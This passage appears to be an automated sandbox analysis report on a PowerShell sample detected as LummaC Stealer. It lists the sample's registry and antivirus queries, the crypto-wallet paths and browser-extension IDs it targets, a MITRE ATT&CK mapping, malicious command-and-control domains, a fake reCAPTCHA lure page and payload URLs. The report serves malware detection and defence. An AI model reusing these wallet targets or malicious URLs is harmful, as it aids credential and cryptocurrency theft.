Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll VolumeInformation	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match

File source: decrypted.memstr, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: RegSvcs.exe, 0000000C.00000002.59499668768.0000000002A1E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Electrum
Source: RegSvcs.exe, 0000000C.00000002.59499668768.0000000002A1E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: tibnejdfjmmkpcnlpebklmnkoeoihofecuTronLinkvnkbihfbeogaeaoehlefnkodbefgpgknnwMetaMaskxfhbohimaelbohpjbbldcngcnapndodjpyBinance Chain Walletzffnbelfdoeiohenkjibnmadjiehjhajb{Yoroi\|cjelfplplebdjjenllpjcblmjkfcffne}Jaxx Liberty~fihkakfobkmkjojpchpfgcmhfjnmnfpi
Source: RegSvcs.exe, 0000000C.00000002.59499668768.0000000002D26000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: q4C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: RegSvcs.exe, 0000000C.00000002.59499668768.0000000002D26000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: q1C:\Users\user\AppData\Roaming\Ethereum\keystore
Source: RegSvcs.exe, 0000000C.00000002.59499668768.0000000002A1E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Exodus Web3
Source: RegSvcs.exe, 0000000C.00000002.59499668768.0000000002A1E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Ethereum
Source: powershell.exe, 00000000.00000002.58263213990.00007FFB4CA20000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: sqlcolumnencryptionkeystoreprovider

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Key opened: HKEY_CURRENT_USER\Software\Bitcoin\Bitcoin-Qt

Jump to behavior

Source: Yara match	File source: 0000000C.00000002.59499668768.0000000002A1E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 9072, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match

File source: decrypted.memstr, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	321 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	OS Credential Dumping	2 File and Directory Discovery	Remote Services	1 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Command and Scripting Interpreter	1 Registry Run Keys / Startup Folder	212 Process Injection	21 Deobfuscate/Decode Files or Information	LSASS Memory	214 System Information Discovery	Remote Desktop Protocol	1 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	3 PowerShell	Logon Script (Windows)	1 Registry Run Keys / Startup Folder	3 Obfuscated Files or Information	Security Account Manager	421 Security Software Discovery	SMB/Windows Admin Shares	1 Screen Capture	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 DLL Side-Loading	NTDS	2 Process Discovery	Distributed Component Object Model	1 Email Collection	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Masquerading	LSA Secrets	331 Virtualization/Sandbox Evasion	SSH	3 Clipboard Data	113 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	331 Virtualization/Sandbox Evasion	Cached Domain Credentials	1 Application Window Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	212 Process Injection	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
00.ps1	0%	Virustotal		Browse
00.ps1	0%	ReversingLabs

Source	Detection	Scanner	Label
https://s.ytimg.com;	0%	Avira URL Cloud	safe
https://www.gstatic.cn/recaptcha/	0%	Avira URL Cloud	safe
http://92.255.57.112/1/3.png	100%	Avira URL Cloud	malware
https://go.microsoft.co	0%	Avira URL Cloud	safe
https://view-reserve.com/recaptcha-verify.htmlkeq6	0%	Avira URL Cloud	safe
bloodyswif.lat	100%	Avira URL Cloud	malware
https://view-reserve.com/recaptcha-verify.htmlYehItOKPCrVOrOVMGXyZZbKtNyrVXuwla	0%	Avira URL Cloud	safe
http://www.microsoft.cZD	0%	Avira URL Cloud	safe
http://92.255.57.112/1/2.pngin	0%	Avira URL Cloud	safe
curtainykeo.lat	100%	Avira URL Cloud	malware
https://view-reserve.com/recaptcha-verify.htmlJ	0%	Avira URL Cloud	safe
https://view-reserve.com/recaptcha-verify.htmlH	0%	Avira URL Cloud	safe
leggelatez.lat	100%	Avira URL Cloud	malware
miniatureyu.lat	100%	Avira URL Cloud	malware
https://view-reserve.com/recaptcha-verify.htmlu	0%	Avira URL Cloud	safe
kickykiduz.lat	100%	Avira URL Cloud	malware
https://lv.queniujq.cn	0%	Avira URL Cloud	safe
https://view-reserve.com/recaptcha-verify.htmllLMEM	0%	Avira URL Cloud	safe
https://view-res/recaptcha-verify.html	0%	Avira URL Cloud	safe
http://crl.micrd	0%	Avira URL Cloud	safe
http://www.protware.com	0%	Avira URL Cloud	safe
http://92.255.57.112/1/2.pngXzi	0%	Avira URL Cloud	safe
finickypwk.lat	100%	Avira URL Cloud	malware
https://view-reserve.com/recaptcha-verify.htmlINetCookies	0%	Avira URL Cloud	safe
shoefeatthe.lat	100%	Avira URL Cloud	malware
http://crl.microsoft.c	0%	Avira URL Cloud	safe
https://washyceehsu.lat/	100%	Avira URL Cloud	malware
https://view-reserve.com/recaptcha-verify.htmlTe	0%	Avira URL Cloud	safe
http://92.255.57.112	0%	Avira URL Cloud	safe
https://view-reserve.com/recaptcha-verify.html=	0%	Avira URL Cloud	safe
https://view-reserve.com/recaptcha-verify.htmlC:	0%	Avira URL Cloud	safe
https://view-reserve.com/recaptcha-verify.htmlll	0%	Avira URL Cloud	safe
https://view-reserve.com/recaptcha-verify.htmlAPPT	0%	Avira URL Cloud	safe
https://view-reserve.com/	0%	Avira URL Cloud	safe
https://view-reserve.com/recaptcha-verify.htmlYp?6	0%	Avira URL Cloud	safe
http://92.255.57.112/1/1.pnghttp://92.255.57.112/1/2.png$TC=$TC.replace(	0%	Avira URL Cloud	safe
washyceehsu.lat	100%	Avira URL Cloud	malware
http://92.255.57.112/1/2.png	100%	Avira URL Cloud	malware
https://view-reserve.com/recaptcha-verify.html...	100%	Avira URL Cloud	malware
http://www.protware.com/	0%	Avira URL Cloud	safe
http://crl.comodo=	0%	Avira URL Cloud	safe
http://92.255.57.112/1/1.pngXzi	0%	Avira URL Cloud	safe
http://www.microsoft.$D	0%	Avira URL Cloud	safe
savorraiykj.lat	100%	Avira URL Cloud	malware
https://view-reserve.com/recaptcha-verify.htmlZe	0%	Avira URL Cloud	safe
https://view-reserve.com/recaptcha-verify.htmlhttps://view-reserve.com/recaptcha-verify.html	0%	Avira URL Cloud	safe
http://92.255.57.112/1/3.pngXzi	0%	Avira URL Cloud	safe
https://broadcast.st.dl.eccdnx.com	0%	Avira URL Cloud	safe
http://pesterbdd.com/images/Pester.pngXzi	0%	Avira URL Cloud	safe
http://www.protware.com/7	0%	Avira URL Cloud	safe
http://127.0.0.1:27060	0%	Avira URL Cloud	safe
http://92.255.57.112/1/1.png	100%	Avira URL Cloud	malware
https://view-reserve.com/recaptcha-verify.htmlbej6	0%	Avira URL Cloud	safe
https://view-reserve.com/recaptcha-verify.html	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
steamcommunity.com	23.47.27.74	true	false	high
view-reserve.com	92.255.57.120	true	true	unknown
finickypwk.lat	unknown	unknown	true	unknown
washyceehsu.lat	unknown	unknown	true	unknown
kickykiduz.lat	unknown	unknown	true	unknown
bloodyswif.lat	unknown	unknown	true	unknown
shoefeatthe.lat	unknown	unknown	true	unknown
savorraiykj.lat	unknown	unknown	true	unknown
miniatureyu.lat	unknown	unknown	true	unknown
curtainykeo.lat	unknown	unknown	true	unknown
leggelatez.lat	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://92.255.57.112/1/3.png	true	Avira URL Cloud: malware	unknown
bloodyswif.lat	true	Avira URL Cloud: malware	unknown
curtainykeo.lat	true	Avira URL Cloud: malware	unknown
leggelatez.lat	true	Avira URL Cloud: malware	unknown
https://steamcommunity.com/profiles/76561199724331900	false		high
kickykiduz.lat	true	Avira URL Cloud: malware	unknown
miniatureyu.lat	true	Avira URL Cloud: malware	unknown
finickypwk.lat	true	Avira URL Cloud: malware	unknown
shoefeatthe.lat	true	Avira URL Cloud: malware	unknown
http://92.255.57.112/1/2.png	true	Avira URL Cloud: malware	unknown
washyceehsu.lat	true	Avira URL Cloud: malware	unknown
savorraiykj.lat	true	Avira URL Cloud: malware	unknown
https://view-reserve.com/recaptcha-verify.html	true	Avira URL Cloud: malware	unknown
http://92.255.57.112/1/1.png	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://player.vimeo.com	RegSvcs.exe, 0000000E.00000002.58328295441.0000000000AA6000.00000004.00000020.00020000.00000000.sdmp	false		high
https://go.microsoft.co	powershell.exe, 00000006.00000002.58448102834.0000025BAFE9C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.gstatic.cn/recaptcha/	RegSvcs.exe, 0000000E.00000002.58328295441.0000000000AA6000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000E.00000002.58328591615.0000000000AB8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.microsoft.cZD	powershell.exe, 00000006.00000002.58452952666.0000025BB021E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://store.steampowered.com/;Persistent-AuthWWW-AuthenticateVarysteamCountry=US%7C5914350094a33e2	RegSvcs.exe, 0000000E.00000002.58328295441.0000000000AA6000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.youtube.com	RegSvcs.exe, 0000000E.00000002.58328295441.0000000000AA6000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.google.com	RegSvcs.exe, 0000000E.00000002.58328295441.0000000000AA6000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/DFfe9ewf/test3/raw/refs/heads/main/chromedriver.exe	RegSvcs.exe, 0000000C.00000002.59499668768.0000000002A1E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://nuget.org/nuget.exe	powershell.exe, 00000004.00000002.58302816703.0000015E93DC0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.58363019340.0000015EA2928000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.58310832394.0000025B98D06000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.58417681738.0000025BA7B39000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.58415482636.000001999007A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.58308550972.000001998150D000.00000004.00000800.00020000.00000000.sdmp	false		high
http://92.255.57.112/1/2.pngin	powershell.exe, 00000006.00000002.58452952666.0000025BB021E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://view-reserve.com/recaptcha-verify.htmlkeq6	mshta.exe, 00000003.00000002.58302661231.00000248D9925000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000003.58287597229.00000248D9924000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://s.ytimg.com;	RegSvcs.exe, 0000000E.00000002.58328295441.0000000000AA6000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000E.00000002.58328591615.0000000000AB8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/Pester/PesterXzi	powershell.exe, 00000004.00000002.58302816703.0000015E92ADA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.58310832394.0000025B97CEB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.58308550972.000001998022B000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000000.00000002.58258386449.000002A33820C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.58302816703.0000015E928B1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.58310832394.0000025B97AC1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.58308550972.0000019980001000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000B.00000002.58299585071.0000000002A91000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000C.00000002.59499668768.0000000002A1E000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000C.00000002.59499668768.0000000002EDD000.00000004.00000800.00020000.00000000.sdmp	false		high
https://steam.tv/	RegSvcs.exe, 0000000E.00000002.58328295441.0000000000AA6000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000E.00000002.58328591615.0000000000AB8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://view-reserve.com/recaptcha-verify.htmlYehItOKPCrVOrOVMGXyZZbKtNyrVXuwla	mshta.exe, 00000003.00000003.58289321335.00000250DC78D000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://view-reserve.com/recaptcha-verify.htmlu	mshta.exe, 00000003.00000002.58302581442.00000248D98F0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://view-reserve.com/recaptcha-verify.htmlJ	mshta.exe, 00000003.00000002.58307882392.00000250E1340000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://stackoverflow.com/q/14436606/23354	RegSvcs.exe, 0000000C.00000002.59499668768.0000000002A1E000.00000004.00000800.00020000.00000000.sdmp	false		high
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000004.00000002.58302816703.0000015E92ADA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.58310832394.0000025B97CEB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.58308550972.000001998022B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://view-reserve.com/recaptcha-verify.htmllLMEM	mshta.exe, 00000003.00000002.58305312624.00000250DC6AC000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000003.58287043720.00000250DC6AC000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000003.58283273648.00000250DC6AC000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000004.00000002.58302816703.0000015E92ADA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.58310832394.0000025B97CEB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.58308550972.000001998022B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://go.micro	powershell.exe, 00000004.00000002.58302816703.0000015E93773000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.58310832394.0000025B98306000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.58308550972.0000019981142000.00000004.00000800.00020000.00000000.sdmp	false		high
http://store.steampowered.com/privacy_agreement/	RegSvcs.exe, 0000000E.00000002.58326106471.0000000000A96000.00000004.00000020.00020000.00000000.sdmp	false		high
https://view-reserve.com/recaptcha-verify.htmlH	mshta.exe, 00000003.00000002.58303534824.00000248DB3A0000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contoso.com/Icon	powershell.exe, 00000008.00000002.58308550972.000001998150D000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.micrd	powershell.exe, 00000004.00000002.58382068499.0000015EAACB2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://view-res/recaptcha-verify.html	mshta.exe, 00000003.00000002.58302794613.00000248D996B000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000003.58280651620.00000248D996B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://sketchfab.com	RegSvcs.exe, 0000000E.00000002.58328295441.0000000000AA6000.00000004.00000020.00020000.00000000.sdmp	false		high
https://lv.queniujq.cn	RegSvcs.exe, 0000000E.00000002.58328295441.0000000000AA6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.youtube.com/	RegSvcs.exe, 0000000E.00000002.58328295441.0000000000AA6000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000E.00000002.58328591615.0000000000AB8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/Pester/Pester	powershell.exe, 00000004.00000002.58302816703.0000015E92ADA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.58310832394.0000025B97CEB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.58308550972.000001998022B000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.protware.com	mshta.exe, 00000003.00000003.58280651620.00000248D996B000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000003.58297265094.00000250DC56D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000003.58278705202.00000250DCD85000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000003.58283273648.00000250DC6AC000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/	RegSvcs.exe, 0000000E.00000002.58328295441.0000000000AA6000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000E.00000002.58328591615.0000000000AB8000.00000004.00000020.00020000.00000000.sdmp	false		high
http://92.255.57.112/1/2.pngXzi	powershell.exe, 00000006.00000002.58310832394.0000025B97CEB000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://stackoverflow.com/q/2152978/23354rCannot	RegSvcs.exe, 0000000C.00000002.59499668768.0000000002A1E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://view-reserve.com/recaptcha-verify.htmlTe	mshta.exe, 00000003.00000002.58302661231.00000248D9925000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000003.58287597229.00000248D9924000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.google.com/recaptcha/	RegSvcs.exe, 0000000E.00000002.58328295441.0000000000AA6000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000E.00000002.58328591615.0000000000AB8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://checkout.steampowered.com/	RegSvcs.exe, 0000000E.00000002.58328295441.0000000000AA6000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000E.00000002.58328591615.0000000000AB8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://view-reserve.com/recaptcha-verify.htmlINetCookies	mshta.exe, 00000003.00000002.58302794613.00000248D9936000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000003.58280651620.00000248D9933000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.microsoft.c	powershell.exe, 00000000.00000002.58260917690.000002A350242000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://washyceehsu.lat/	RegSvcs.exe, 0000000E.00000002.58326106471.0000000000A8B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://www.quovadis.bm0	powershell.exe, 00000000.00000002.58260917690.000002A3501FD000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000003.58287043720.00000250DC675000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000002.58305312624.00000250DC675000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000003.58283273648.00000250DC673000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.58382068499.0000015EAAC2F000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.58448102834.0000025BAFE64000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.58457730531.00000199FF448000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000C.00000002.59532094818.00000000053E0000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000E.00000002.58328591615.0000000000AB8000.00000004.00000020.00020000.00000000.sdmp	false		high
http://92.255.57.112	powershell.exe, 00000004.00000002.58302816703.0000015E92ADA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.58310832394.0000025B97CEB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.58308550972.000001998022B000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://view-reserve.com/recaptcha-verify.html=	mshta.exe, 00000003.00000002.58302581442.00000248D98F0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://92.255.57.112/1/1.pnghttp://92.255.57.112/1/2.png$TC=$TC.replace(	mshta.exe, 00000003.00000003.58288335780.00000250DC785000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000003.00000003.58289154956.00000250DC789000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000003.00000003.58288981238.00000250DC787000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000003.00000003.58288807681.00000250DC786000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://view-reserve.com/recaptcha-verify.htmlll	mshta.exe, 00000003.00000002.58307053628.00000250DCD96000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000003.58283494904.00000250DCD95000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000003.58278705202.00000250DCD85000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://store.steampowered.com/;	RegSvcs.exe, 0000000E.00000002.58328295441.0000000000AA6000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.cloudflare.steamstatic.com/	RegSvcs.exe, 0000000E.00000002.58328591615.0000000000AB8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/DFfe9ewf/test3/raw/refs/heads/main/msedgedriver.exe	RegSvcs.exe, 0000000C.00000002.59499668768.0000000002A1E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/License	powershell.exe, 00000008.00000002.58308550972.000001998150D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://steamcommunity.com/(	RegSvcs.exe, 0000000E.00000002.58328591615.0000000000AB8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://view-reserve.com/recaptcha-verify.html...	mshta.exe, 00000003.00000002.58305312624.00000250DC6AC000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000003.58287043720.00000250DC6AC000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000003.58283273648.00000250DC6AC000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://aka.ms/pscore6	powershell.exe, 00000000.00000002.58258386449.000002A3381BA000.00000004.00000800.00020000.00000000.sdmp	false		high
http://store.steampowered.com/subscriber_agreement/	RegSvcs.exe, 0000000E.00000002.58326106471.0000000000A96000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org	RegSvcs.exe, 0000000E.00000002.58326106471.0000000000A96000.00000004.00000020.00020000.00000000.sdmp	false		high
https://view-reserve.com/recaptcha-verify.htmlAPPT	mshta.exe, 00000003.00000002.58303252046.00000248D9AF0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://recaptcha.net/recaptcha/;	RegSvcs.exe, 0000000E.00000002.58328295441.0000000000AA6000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.protware.com/	mshta.exe, 00000003.00000003.58276554563.00000250DCD93000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000003.58275820747.00000250DCD85000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000002.58307053628.00000250DCD96000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000003.58283494904.00000250DCD95000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000003.58278705202.00000250DCD85000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://view-reserve.com/recaptcha-verify.htmlC:	mshta.exe, 00000003.00000002.58305312624.00000250DC660000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000002.58302581442.00000248D98F0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://view-reserve.com/	mshta.exe, 00000003.00000003.58280651620.00000248D9998000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000003.58287185983.00000248D99A3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000002.58302980909.00000248D99A4000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://view-reserve.com/recaptcha-verify.htmlYp?6	mshta.exe, 00000003.00000002.58302794613.00000248D9936000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000003.58280651620.00000248D9933000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://92.255.57.112/1/1.pngXzi	powershell.exe, 00000004.00000002.58302816703.0000015E92ADA000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://92.255.57.112/1/3.pngXzi	powershell.exe, 00000008.00000002.58308550972.000001998022B000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://medal.tv	RegSvcs.exe, 0000000E.00000002.58328295441.0000000000AA6000.00000004.00000020.00020000.00000000.sdmp	false		high
